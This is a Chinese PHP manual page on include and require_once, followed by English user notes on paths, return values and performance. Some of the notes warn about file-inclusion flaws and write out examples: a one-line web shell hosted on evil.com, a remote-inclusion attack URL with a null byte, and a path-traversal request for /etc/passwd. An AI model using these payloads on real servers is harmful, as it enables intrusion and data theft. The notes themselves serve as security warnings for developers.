如果定义了路径——不管是绝对路径（在 Windows 下以盘符或者 \ 开头，在 Unix/Linux 下以 / 开头）还是当前目录的相对路径（以 . 或者 .. 开头）——include_path 都会被完全忽略。例如一个文件以 ../ 开头，则解析器会在当前目录的父目录下寻找该文件。

有关 PHP 怎样处理包含文件和包含路径的更多信息参见 include_path 部分的文档。

当一个文件被包含时，其中所包含的代码继承了 include 所在行的变量范围。从该处开始，调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

Example #1 基本的 include 例子

vars.php
<?php

$color = 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo "A $color $fruit"; // A green apple

?>

如果 include 出现于调用文件中的一个函数里，则被调用的文件中所包含的所有代码将表现得如同它们是在该函数内部定义的一样。所以它将遵循该函数的变量范围。此规则的一个例外是魔术常量，它们是在发生包含之前就已被解析器处理的。

Example #2 函数中的包含

<?php

function foo()
{
global $color;

include 'vars.php';

echo "A $color $fruit";
}

/* vars.php 在 foo() 范围内，所以 $fruit 在范围为不可用。 *
* $color 能用是因为声明成全局变量。 */

foo(); // A green apple
echo "A $color $fruit"; // A green

?>

当一个文件被包含时，语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式，到文件结尾处恢复。由于此原因，目标文件中需要作为 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中。

如果"URL include wrappers"在 PHP 中被激活，可以用 URL（通过 HTTP 或者其它支持的封装协议——见支持的协议和封装协议）而不是本地文件来指定要被包含的文件。如果目标服务器将目标文件作为 PHP 代码解释，则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事；该脚本文件实际上已经在远程服务器上运行了，而本地脚本则包括了其结果。

Example #3 通过 HTTP 进行的 include

<?php

/* 这个示例假定 www.example.com 配置为解析 .php 文件而不解析 .txt 文件。 *
* 此外 "Works" 意味着 $foo 和 $bar 变量在包含的文件中是可用的。 */

// 无法执行； file.txt 没有被 www.example.com 当作 PHP 处理。
include 'http://www.example.com/file.txt?foo=1&bar=2';

// 无法执行；在本地文件系统中查找名为 "file.php?foo=1&bar=2" 的文件。
include 'file.php?foo=1&bar=2';

// 正常。
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

Warning

安全警告

远程文件可能会经远程服务器处理（根据文件后缀以及远程服务器是否在运行 PHP 而定），但必须产生出一个合法的 PHP 脚本，因为其将被本地服务器处理。如果来自远程服务器的文件应该在远端运行而只输出结果，那用 readfile() 函数更好。另外还要格外小心以确保远程的脚本产生出合法并且是所需的代码。

相关信息参见使用远程文件，fopen() 和 file()。

处理返回值：在失败时 include 返回 FALSE 并且发出警告。成功的包含则返回 1，除非在包含文件中另外给出了返回值。可以在被包括的文件中使用 return 语句来终止该文件中程序的执行并返回调用它的脚本。同样也可以从被包含的文件中返回值。可以像普通函数一样获得 include 调用的返回值。不过这在包含远程文件时却不行，除非远程文件的输出具有合法的 PHP 开始和结束标记（如同任何本地文件一样）。可以在标记内定义所需的变量，该变量在文件被包含的位置之后就可用了。

因为 include 是一个特殊的语言结构，其参数不需要括号。在比较其返回值时要注意。

Example #4 比较 include 的返回值

<?php
// 不能运行，执行 include(('vars.php') == TRUE) 就等于执行 include('1')
if (include('vars.php') == TRUE) {
echo 'OK';
}

// 正常
if ((include 'vars.php') == TRUE) {
echo 'OK';
}
?>

Example #5 include 和 return 语句

return.php
<?php

$var = 'PHP';

return $var;

?>

noreturn.php
<?php

$var = 'PHP';

?>

testreturns.php
<?php

$foo = include 'return.php';

echo $foo; // 打印 'PHP'

$bar = include 'noreturn.php';

echo $bar; // 打印 1

?>

$bar 的值为 1 是因为 include 成功运行了。注意以上例子中的区别。第一个在被包含的文件中用了 return 而另一个没有。如果文件不能被包含，则返回 false 并发出一个 E_WARNING 警告。

如果在包含文件中定义了函数，无论是在 return 之前还是之后，都可以独立在主文件（main）中使用。如果文件被包含两次，由于函数重复定义，PHP 会 发出致命错误（fatal error）。推荐使用 include_once 而不是检查文件是否已包含并在包含文件中有条件返回。

另一个将 PHP 文件"包含"到一个变量中的方法是用输出控制函数结合 include 来捕获其输出，例如：

Example #6 使用输出缓冲来将 PHP 文件包含入一个字符串

<?php
$string = get_include_contents('somefile.php');

function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
$contents = ob_get_contents();
ob_end_clean();
return $contents;
}
return false;
}

?>

要在脚本中自动包含文件，参见 php.ini 中的 auto_prepend_file 和 auto_append_file 配置选项。

Note: 因为是语言构造器而不是函数，不能被 可变函数 或者 命名参数 调用。

参见 require、require_once、include_once、 get_included_files()、readfile()、virtual()、 include_path。

User Contributed Notes

anonphpuser 23-Oct-2022 11:07
In the Example #2 Including within functions, the last two comments should be reversed I believe.
jbezorg at gmail dot com 26-Apr-2018 02:34
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
ayon at hyurl dot com 03-Apr-2017 06:24
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
John Carty 20-Oct-2016 08:29
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.
error17191 at gmail dot com 01-Oct-2015 09:39
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?php

echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
Jero Minh 01-Apr-2015 10:55
Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.

Consider the following:
<?php
    ini_set('error_reporting', E_ALL);

    echo "Own value before: ";
    echo ini_get('error_reporting');
    echo "\r\n";

    echo "include foo.php: ";
    include('foo.php');

    echo "@include foo.php: ";
    @include('foo.php');

    echo "Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
    echo ini_get('error_reporting') . "\r\n";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767
Rash 17-Jan-2015 05:55
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.php
define('what', 'ever');
include 'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
Ray.Paseur often uses Gmail 30-Sep-2014 11:05
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
abanarn at gmail dot com 11-Jul-2014 02:56
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:\element\scripts\include.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:\element\scripts\include.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lement\scripts\include.php): failed to open stream: In
valid argument in C:\element\scripts\include.php on line 20

Fatal error: require(): Failed opening required 'C:←lement\scripts\include.php

Solution:
-----------
Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,
Anon 26-Feb-2012 06:31
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
sPlayer 02-Mar-2011 09:09
Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
joe dot naylor at gmail dot com 22-Oct-2010 02:11
Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
   include('pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.
Chris Bell 12-Nov-2009 05:12
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
hyponiq at gmail dot com 02-Nov-2009 02:12
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot = null;

if (isset($_SERVER['DOCUMENT_ROOT'])) {
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];

    if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (strstr($documentRoot, '/')) {
            $documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (strstr($documentRoot, '\\')) {
            $documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

    if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
        $documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
        $documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
    /**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
    $directories = array(
        'Includes'
    );

    if (defined('__DIR__')) {
        $currentDirectory = __DIR__;
    }
    else {
        $currentDirectory = dirname(__FILE__);
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
    $currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

    foreach ($directories as $directory) {
        $currentDirectory = str_replace(
            DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
            DIRECTORY_SEPARATOR,
            $currentDirectory
        );
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
snowyurik at gmail dot com 05-Nov-2008 10:49
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
Wade. 22-Oct-2008 08:20
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
example at user dot com 21-Sep-2008 09:33
Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include '/some_image.jpg';
echo 'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
Rick Garcia 08-May-2008 09:38
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
uramihsayibok, gmail, com 24-Feb-2008 05:28
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (glob($pattern) as $file) { // remember the { and } are necessary!
        include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
mbread at m-bread dot com 10-Feb-2007 09:23
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
durkboek A_T hotmail D_O_T com 03-Jun-2004 04:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
james at gogo dot co dot nz 09-Dec-2003 10:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
  function &x(&$y)
  {
    return include(dirname(__FILE__) . '/2.php');
  }

  $z = "FOO\n";
  $z2 = &x($z);

  echo $z2;
  $z  = "NOO\n";

  echo $z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/


require_once

(PHP 4, PHP 5, PHP 7, PHP 8)

require_once 表达式和 require 表达式完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含。

参见 include_once 的文档来理解 _once 的含义，并理解与没有 _once 时候有什么不同。

User Contributed Notes

bobray99 at softville dot com 17-May-2022 05:52
Be careful when using include_once and require_once for files that return a value:

fiddle2.php
<?php
return "Some String";

fiddle.php
<?php
$s = require_once('fiddle2.php');
echo "\n" . $s;
$s = require_once('fiddle2.php');
echo "\n" . $s;

/* output
 Some String
1
*/

The second time require_once occurs, it returns 1 because the file has already been included.
boda0128318 at gmail dot com 08-Apr-2021 04:50
1 - "require" and "require_once"  throw a fatal error if the file is not
       existing  and stop the script execution

2 - "include" and "include_once" throw a warning and the execution
       continues

3 - "require_once" and "include_once" as their names suggests ,
      they will not include the file if the file was already included with
      "require", "require_once", "include" or "include_once"

try the following code:

create a file called "index.php"

<?php

require "first.php";  // this will include the file

include_once "first.php";  // this will not as it was included using "require"

require_once "first.php";  // this will not as it was included using "require"

?>

and another file that is called "first.php" and write the following header

-------------------------------

<h1>Hello every one</h1>

--------------------------------

i hope this will help you
Mental_Wanderer 27-Jun-2018 08:31
Friendly reminder about namespaces...
Including or requiring a PHP file that defines as namespace means that the namespace name (or its "use ... as ..." alias) is always necessary to make use of the included file's content:

// A.php

<?php namespace A_NAMESPACE;

   function foo()
   {
      // What foo does...
   }
?>

// B.php

<?php
   require_once( 'A.php' );
   use \A_NAMESPACE as common;

   common\foo(); // Does that foo thing...

   foo();  // Fatal Error...
?>
apis17 11-Nov-2017 03:29
require_once may not work correctly inside repetitive function when storing variable for example:

file: var.php
<?php
$foo = 'bar';
?>

file: check.php
<?php

function foo(){
    require_once('var.php');
    return $foo;
}

for($a=1;$a<=5;$a++){
    echo foo()."<br>";
}

> php check.php
result:
bar
<empty line>
<empty line>
<empty line>
<empty line>

to make sure variable bar available at each function call, replace require once with require. eg situation: https://stackoverflow.com/questions/29898199/variables-not-defined-inside-function-on-second-time-at-foreach

Solution:

file: check2.php
<?php

function foo(){
    require('var.php');
    return $foo;
}

for($a=1;$a<=5;$a++){
    echo foo()."<br>";
}

> php check2.php
result:
bar
bar
bar
bar
bar
powtac at gmx dot de 02-Sep-2015 01:36
"require_once" and "require" are language constructs and not functions. Therefore they should be written without "()" brackets!
inci szlk 22-May-2015 04:32
you can also use this type define to get exact path of root directory. So, it won't mess if the file is in whatever directory in whatever directory.

if (!defined("DOCUMENT_ROOT")) define("DOCUMENT_ROOT", $_SERVER['DOCUMENT_ROOT']);

require_once DOCUMENT_ROOT.'/hello/world.php';
acholoc at gmail dot com 04-Jan-2014 09:43
I think it's important (at least for beginners) to mention somewhere clearly visible that require_once, when being used in a class, cannot be outside a function. (I am aware that even this, i.e. using it within the function is bad practice). However, that information could have saved me some valuable time troubleshooting the "unexpected T_REQUIRE_ONCE" error.
bimal at sanjaal dot com 04-Jun-2011 11:46
If your code is running on multiple servers with different environments (locations from where your scripts run) the following idea may be useful to you:

a. Do not give absolute path to include files on your server.
b. Dynamically calculate the full path (absolute path)

Hints:
Use a combination of dirname(__FILE__) and subsequent calls to itself until you reach to the home of your '/index.php'. Then, attach this variable (that contains the path) to your included files.

One of my typical example is:

<?php
define('__ROOT__', dirname(dirname(__FILE__)));
require_once(__ROOT__.'/config.php');
?>

instead of:
<?php require_once('/var/www/public_html/config.php'); ?>

After this, if you copy paste your codes to another servers, it will still run, without requiring any further re-configurations.

[EDIT BY danbrown AT php DOT net: Contains a typofix (missing ')') provided by 'JoeB' on 09-JUN-2011.]
spark at limao dot com dot br 14-Apr-2011 07:31
if you use require_once on a file A pointing to file B, and require_once in the file B pointing to file A, in some configurations you will get stuck

also wouldn't it be nice to manage that to prevent getting stuck AND use the good old Java import?

<?php
       function import($path=""){
               if($path == ""){ //no parameter returns the file import info tree;
                       $report = $_SESSION['imports'];
                       foreach($report as &$item) $item = array_flip($item);
                       return $report;
               }

               $current = str_replace("\\","/",getcwd())."/";
               $path = $current.str_replace(".","/",$path);
               if(substr($path,-1) != "*") $path .= ".class.php";

               $imports = &$_SESSION['imports'];
               if(!is_array($imports)) $imports = array();

               $control = &$imports[$_SERVER['SCRIPT_FILENAME']];
               if(!is_array($control)) $control = array();

               foreach(glob($path) as $file){
                       $file = str_replace($current,"",$file);
                       if(is_dir($file)) import($file.".*");
                       if(substr($file,-10) != ".class.php") continue;
                       if($control[$file]) continue;
                       $control[$file] = count($control);
                       require_once($file);
               }
       }
?>

just remember to start the session and to enable the glob function

now you can use
<?php
    import("package.ClassName");
    import("another.package.*"); //this will import everything in the folder
?>
info at erpplaza dot com 05-Oct-2010 12:10
Include all files from a particular directory

<?php
foreach (glob("classes/*.php") as $filename)
{
    include $filename;
}
?>

ERPPlaza
jason semko at gmail dot com 16-Jul-2010 01:33
If you are coding on localhost and require_once is not opening files due to 'relative paths' a simple solution is:

<?php

      require_once(dirname(__FILE__) . "/file.php");

?>

If you have file.php under the folder 'includes' (or anywhere for that matter), then folder 'public' AND folder 'public/admin' will be able to access all required files despite having different relative paths.
ivan[DOT_NO_SPAM]chepurnyi[AT]gmail 08-Sep-2009 06:42
Also if you have a large MVC framework, it make sense to compile  structure "file/path/to/class.php" to something like this "file_path_to_class.php", it will speed up any type of php files includes, becouse php interpreter will not check FS stat data for directories "file", "file/path", "file/path/to", etc.
Konstantin Rozinov (krozinov[at]gmail) 01-Apr-2009 04:58
There's been a lot of discussion about the speed differences between using require_once() vs. require().
I was curious myself, so I ran some tests to see what's faster:
 - require_once() vs require()
 - using relative_path vs absolute_path

I also included results from strace for the number of stat() system calls.  My results and conclusions below.

METHODOLOGY:
------------
The script (test.php):
<?php
 $start_time = microtime(true);

 /*
  * Uncomment one at a time and run test below.
  * sql_servers.inc only contains define() statements.
  */

 //require ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require ('../../includes/example.com/code/conf/sql_servers.inc');
 //require_once ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require_once ('../../includes/example.com/code/conf/sql_servers.inc');

 $end_time = microtime(true);

 $handle = fopen("/tmp/results", "ab+");
 fwrite($handle, ($end_time - $start_time) . "\n");
 fclose($handle);
?>

The test:
  I ran ab on the test.php script with a different require*() uncommented each time:
  ab -n 1000 -c 10 www.example.com/test.php

RESULTS:
--------
The average time it took to run test.php once:
require('absolute_path'):      0.000830569960420
require('relative_path'):      0.000829198306664
require_once('absolute_path'): 0.000832904849136
require_once('relative_path'): 0.000824960252097

The average was computed by eliminating the 100 slowest and 100 fastest times, so a total of 800 (1000 - 200) times were used to compute the average time.  This was done to eliminate any unusual spikes or dips.

The question of how many stat() system calls were made can be answered as follows:
- If you run httpd -X and then do an strace -p <pid_of_httpd>, you can view the system calls that take place to process the request.
- The most important thing to note is if you run test.php continuously (as the ab test does above), the stat() calls only happen for the first request:

  first call to test.php (above):
  -------------------------------
  lstat64 ("/www", {st_mode=S_IFDIR|0755, st_size=...
  lstat64 ("/www/includes", {st_mode=S_IFDIR|0755,...
  lstat64 ("/www/includes/example.com", {st_mode=S...
  lstat64 ("/www/includes/example.com/code", {st_m...
  lstat64 ("/www/includes/example.com/code/conf", ...
  lstat64 ("/www/includes/example.com/code/conf/sql_servers.inc", {st_mode...
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

  subsequent calls to test.php:
  -----------------------------
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

- The lack of stat() system calls in the subsequent calls to test.php only happens when test.php is called continusly.  If you wait a certain period of time (about 1 minute or so), the stat() calls will happen again.
- This indicates that either the OS (Ubuntu Linux in my case), or Apache is "caching" or knows the results of the previous stat() calls, so it doesn't bother repeating them.
- When using absolute_path there are fewer stat() system calls.
- When using relative_path there are more stat() system calls because it has to start stat()ing from the current directory back up to / and then to the include/ directory.

CONCLUSIONS:
------------
- Try to use absolute_path when calling require*().
- The time difference between require_once() vs. require() is so tiny, it's almost always insignificant in terms of performance.  The one exception is if you have a very large application that has hundreds of require*() calls.
- When using APC opcode caching, the speed difference between the two is completely irrelevant.
- Use an opcode cache, like APC!

Konstantin Rozinov
krozinov [at] gmail
amcewen at look dot ca 11-Feb-2008 07:00
Perhaps it would be clearer to say that require_once() includes AND evaluates the resulting code once.  More specifically, if there is code in the script file other than function declarations, this code will only be executed once via require_once().
manuel schaffner 14-Jun-2007 02:02
The path for nested require_once() is always evaluated relative to the called / first file containing require_once(). To make it more flexible, maintain the include_path (php.ini) or use set_include_path() - then the file will be looked up in all these locations.
jazfresh at hotmail.com 07-Mar-2007 11:22
Check how many files you are including with get_required_files(). If it's a significant number (> 100), it may be worth "compiling" the main PHP file. By "compiling", I mean write a script that reads a PHP file and replaces any "include/require_once" references with either:
- the file that it's requiring
- a blank line if that file has been included before

This function can be recursive, thus building up a large PHP file with no require_once references at all. The speedup can be dramatic. On one of our pages that included 115 classes, the page was sped up by 60%.
sneskid at hotmail dot com 19-Jan-2007 12:00
<?php
function & rel($r, &$f) {return file_exists( ( $f = ( dirname($r).'/'.$f ) ) );}
function & relf($r, $f) {return rel($r,$f) ? file_get_contents($f) : null;}
function & reli($r, $f) {return rel($r,$f) ? include($f) : null;}
function & relr($r, $f) {return rel($r,$f) ? require($f) : null;}
function & relio($r, $f) {return rel($r,$f) ? include_once($f) : null;}
function & relro($r, $f) {return rel($r,$f) ? require_once($f) : null;}
?>

I found it useful to have a function that can load a file relative to the calling script and return null if the file did not exist, without raising errors.

<?php
/*
Load file contents or return blank if it's not there.
Relative to the file calling the function.
*/
echo relf(__FILE__, 'some.file');
?>

It was easy to modify and just as useful for require/include.

<?php
/*
Require the file once.
It's like suppressing error messages with @ but only when the file does not exist.
Still shows compile errors/warning, unless you use @relro().
Relative to the file calling the function.
*/
relro(__FILE__, 'stats.php');
?>

If you work with a deep php file structure and a barrage of includes/requires/file-loads this works well.
rejjn at mail dot nu 01-Sep-2006 02:28
The following only applies to case insensitive systems like Windows.

Even though the documentation sais that "the path is normalized" that doesn't seem to be true in all cases.

If you are using the magic __autoload() function (or if the framework you're using is using it) and it includes the requested class file with complete path or if you override the include path in mid execution, you may have some very strange behavior. The most subtle problem is that the *_once functions seem to differentiate between c:\.... and C:\....

So to avoid any strange problems and painfull debugging make sure ALL paths you use within the system have the same case everywhere, and that they correspond with the actual case of the filesystem. That includes include paths set in webserver config/php.ini, auto load config, runtime include path settings or anywhere else.
antoine dot pouch at mcgill dot ca 10-Mar-2006 07:13
require_once (and include_once for that matters) is slow.
Furthermore, if you plan on using unit tests and mock objects (i.e. including mock classes before the real ones are included in the class you want to test), it will not work as require() loads a file and not a class.

To bypass that, and gain speed, I use :

<?php
